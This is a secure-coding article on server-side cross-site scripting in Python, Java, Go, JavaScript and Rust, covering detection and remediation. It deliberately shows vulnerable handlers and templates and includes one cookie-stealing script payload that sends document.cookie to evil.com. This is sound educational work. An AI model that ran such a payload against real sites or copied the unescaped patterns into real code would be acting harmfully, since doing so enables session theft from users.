XSS Is Not Just a JavaScript Problem
Cross-site scripting gets framed as a front-end problem a lot, something that happens in JavaScript and gets fixed with JavaScript. But the more I dug into this, the clearer it became that XSS vulnerabilities almost always originate on the server side, in whatever language is generating the HTML. I’ve found XSS in Python templates, Java JSPs, Go’s html/template misuse, Rust web frameworks, and server-rendered JavaScript. The language you write your backend in determines which XSS patterns you’ll run into and which ones will sneak past your review.
How XSS Actually Works
XSS happens when an application includes untrusted data in its HTML output without proper encoding or sanitization. The browser can’t tell the difference between the application’s legitimate markup and the attacker’s injected content. There are three main variants worth understanding:
- Reflected XSS: The malicious input is part of the HTTP request (query parameter, form field) and immediately reflected in the response. This is the most commonly documented variant in public disclosures.
- Stored XSS: The malicious input is persisted (database, file) and rendered to other users later. This is the scarier variant because it doesn’t require tricking a user into clicking a link.
- DOM-based XSS: The vulnerability exists entirely in client-side JavaScript that manipulates the DOM using untrusted data.
Server-side languages are primarily responsible for reflected and stored XSS. The patterns differ by language because each ecosystem has different templating engines, different default escaping behaviours, and different ways developers bypass those defaults. I’ve found it helpful to adjust my review approach depending on which language I’m looking at.
The Easy-to-Spot Version
Python: Direct String Formatting in Response
@app.route("/search")
def search():
query = request.args.get("q", "")
results = perform_search(query)
html = f"""
<html>
<body>
<h1>Search Results for: {query}</h1>
<div id="results">
{"".join(f"<p>{r}</p>" for r in results)}
</div>
</body>
</html>
"""
return html
The query variable goes straight from the query string into HTML using an f-string. No template engine, no escaping. An attacker sends q=<script>document.location='https://evil.com/?c='+document.cookie</script> and the script executes in every victim’s browser.
Any time I see raw HTML construction in a route handler, that’s an immediate red flag. The developer is building HTML manually instead of using a template engine. This shows up more often than you’d think in quick prototypes that somehow made it to production.
Java: Servlet Response Writer
@GetMapping("/profile")
public void showProfile(@RequestParam String name, HttpServletResponse response)
throws IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>Welcome, " + name + "</h1>");
out.println("<p>Your profile page</p>");
out.println("</body></html>");
}
Writing HTML directly to the response writer with string concatenation. The name parameter flows straight into the HTML. Spring MVC’s Thymeleaf templates would escape this automatically, but the developer bypassed the template engine entirely. This pattern tends to appear in older Spring codebases where someone needed a “quick” endpoint and didn’t want to set up a template file.
The Hard-to-Spot Version
The subtle XSS bugs, the ones that are genuinely interesting to study, happen when developers use template engines but defeat their escaping mechanisms, or when the escaping is context-inappropriate.
Python: Jinja2 with |safe Filter
@app.route("/dashboard")
def dashboard():
username = request.args.get("user", "Guest")
announcement = get_latest_announcement() # from database
return render_template(
"dashboard.html",
username=username,
announcement=announcement
)
<!-- dashboard.html -->
<div class="header">
<h1>Welcome, {{ username }}</h1>
</div>
<div class="announcement">
{{ announcement | safe }}
</div>
The username variable is properly escaped by Jinja2’s auto-escaping. But announcement uses the |safe filter, which disables escaping. If the announcement content comes from a database and was originally submitted by a user (stored XSS), the |safe filter turns it into an injection point. The developer likely added |safe because the announcement contains intentional HTML formatting, bold text, links, but didn’t sanitize it first.
Here’s what makes this tricky in practice: a reviewer scanning the Python code sees render_template and might assume everything is safe. The vulnerability is hiding in the template file, which often doesn’t get reviewed with the same scrutiny as the Python code. This is something I had to learn to watch for, reviewing templates alongside the route handlers makes a real difference.
Go: html/template vs text/template Confusion
func renderPage(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("q")
tmpl := template.Must(template.New("search").Parse(`
<html>
<body>
<h1>Results for: {{.Query}}</h1>
<div class="filters">
<a href="/search?q={{.Query}}&sort=date">Sort by date</a>
</div>
</body>
</html>
`))
tmpl.Execute(w, map[string]string{"Query": query})
}
Go’s html/template package auto-escapes based on context, it knows the difference between HTML body, attribute values, URLs, and JavaScript. This code looks safe because it uses html/template. But here’s the gotcha: if a developer imports text/template instead of html/template (a single import path change), all escaping disappears. The code compiles and runs identically, the only difference is the import line.
import "text/template" // DANGEROUS: no auto-escaping
// vs
import "html/template" // SAFE: context-aware escaping
This is one of Go’s most dangerous XSS patterns. The vulnerable and safe versions are identical except for the import statement. I now check the import block first when reviewing Go templates, it takes two seconds and catches a surprisingly impactful class of bugs.
JavaScript: innerHTML and Server-Side Rendering
app.get('/comments', (req, res) => {
const comments = getCommentsFromDB();
let html = '<html><body><h1>Comments</h1>';
for (const comment of comments) {
html += `<div class="comment">
<strong>${comment.author}</strong>
<p>${comment.body}</p>
</div>`;
}
html += '</body></html>';
res.send(html);
});
Server-side JavaScript building HTML with template literals. The comment.author and comment.body values come from the database (stored XSS). Template literals provide no escaping, they’re just string interpolation. Express.js doesn’t auto-escape res.send() content.
The harder variant involves EJS or Handlebars templates with unescaped output:
<!-- EJS template -->
<div class="bio">
<%- user.bio %> <!-- <%- is unescaped, <%= is escaped -->
</div>
The difference between <%- (raw) and <%= (escaped) in EJS is a single character. In Handlebars, it’s {{{triple}}} (raw) vs {{double}} (escaped). These are genuinely easy to overlook, especially in a large template file where you’re scanning quickly.
Rust: Actix-web with Raw HTML Responses
async fn search(query: web::Query<SearchParams>) -> HttpResponse {
let results = perform_search(&query.q);
let html = format!(
r#"<html>
<body>
<h1>Search: {}</h1>
<div>{}</div>
</body>
</html>"#,
query.q,
results.iter()
.map(|r| format!("<p>{}</p>", r))
.collect::<Vec<_>>()
.join("")
);
HttpResponse::Ok()
.content_type("text/html")
.body(html)
}
Rust’s type system and memory safety don’t protect against XSS, something I think is worth calling out because it’s easy to assume the language’s safety guarantees extend to web security, but they don’t. When building HTML with format!, user input is interpolated without encoding. Rust web frameworks like Actix-web don’t auto-escape response bodies, they send exactly what you give them. The r#"..."# raw string syntax makes the HTML look clean but provides no security benefit.
The harder Rust variant involves template engines like Askama or Tera where developers use raw filters:
// Askama template
#[template(source = r#"<div>{{ content|safe }}</div>"#, ext = "html")]
struct PageTemplate {
content: String,
}
Context-Dependent Escaping
One of the most overlooked aspects of XSS prevention, and something that really clicked for me when I started researching this deeply, is that different HTML contexts require different escaping strategies:
| Context | Example | Required Escaping |
|---|---|---|
| HTML body | <p>USER_INPUT</p> |
HTML entity encoding (< → <) |
| HTML attribute | <div title="USER_INPUT"> |
Attribute encoding (quote characters) |
| JavaScript | <script>var x = "USER_INPUT"</script> |
JavaScript string escaping |
| URL | <a href="/search?q=USER_INPUT"> |
URL encoding |
| CSS | <div style="color: USER_INPUT"> |
CSS escaping |
A value that’s safely escaped for an HTML body context can still be dangerous in a JavaScript context. Go’s html/template handles this automatically, which is one of the things I genuinely appreciate about Go’s approach. Most other template engines only do HTML body escaping by default, and that gap can be exploited.
Detection Strategies
SAST Tools
- Python: Bandit detects
|safein Jinja2 templates. Semgrep has rules for Flask response construction without escaping. - Java: SpotBugs detects
PrintWriterHTML output. PMD flags string concatenation in servlet responses. - Go: gosec flags
text/templateusage in HTTP handlers. Semgrep can detect the import confusion pattern. - JavaScript: eslint-plugin-security flags
innerHTMLassignments. NodeJsScan detects template literal HTML construction. - Rust: Limited SAST coverage. Semgrep rules can detect
format!with HTML content types.
SAST tools catch the easy cases well but struggle with the template-level issues. They’re a good first pass, but they’re no substitute for actually reading the templates.
Manual Review Focus Areas
Here’s what I focus on when reviewing for XSS:
- Search for template raw/safe/unescaped directives:
|safe,<%-,{{{,|raw - Look for HTML construction outside template engines (f-strings, format!, template literals, StringBuilder)
- Verify the correct template package is imported (Go:
html/templatevstext/template) - Check Content-Type headers, if a handler sets
text/html, trace every variable in the response body - Audit stored content paths: data that enters through one endpoint and renders through another
That last one is the most important, in my opinion. Stored XSS is harder to find because the injection point and the rendering point are in completely different parts of the codebase.
Remediation
Use Auto-Escaping Template Engines
Every language has template engines with auto-escaping enabled by default:
- Python: Jinja2 with
autoescape=True(Flask enables this by default for.htmltemplates) - Java: Thymeleaf (escapes by default), or use OWASP Java Encoder for manual contexts
- Go:
html/template(nottext/template) - JavaScript: Use frameworks like React (escapes JSX by default) or configure EJS/Handlebars to escape by default
- Rust: Askama escapes by default; avoid
|safefilter on user content
When Raw HTML Is Needed
If you genuinely need to render user-provided HTML (rich text editors, markdown), use a server-side HTML sanitizer:
import bleach
clean_html = bleach.clean(
user_html,
tags=["p", "b", "i", "a", "ul", "li"],
attributes={"a": ["href"]},
strip=True
)
// OWASP Java HTML Sanitizer
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("p", "b", "i", "a")
.allowAttributes("href").onElements("a")
.toFactory();
String safeHtml = policy.sanitize(userHtml);
Never trust client-side sanitization alone. The browser is the attacker’s environment. Relying on front-end sanitization and calling it a day isn’t security, it’s wishful thinking.